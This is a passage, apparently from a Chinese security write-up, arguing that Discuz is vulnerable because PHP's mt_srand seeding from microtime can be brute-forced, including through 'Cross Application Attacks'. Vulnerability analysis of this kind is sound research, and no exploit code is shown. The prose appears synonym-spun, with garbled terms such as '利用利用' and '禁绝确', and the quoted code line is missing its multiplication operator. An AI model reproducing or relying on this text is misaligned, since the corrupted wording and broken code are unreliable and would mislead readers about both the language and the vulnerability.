从上一章里的剖析我们可以看得出来,利用php本身默认的播种的分程序两种情形:

'Cross Application Attacks' 这个思路是只要目标上有利用利用的程序里定义了类似mt_srand((double)microtime() 1000000)的播种的话,又很有可能被暴力。
在dz这里不须要Cross Application,由于他本身有文件就定义了,便是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() 1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也便是基于这个的。
(详细exp利用的流程有兴趣的可以自己剖析下])

2) 有的人认为如果没有mt_srand((double)microtime() 1000000);这里的定义,那么dz就不存在漏洞,这个是禁绝确的。
首先你不可以担保别人利用的其他运用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很刁悍(剖析详见上),也是有可以暴力出来,只是速率要慢一点。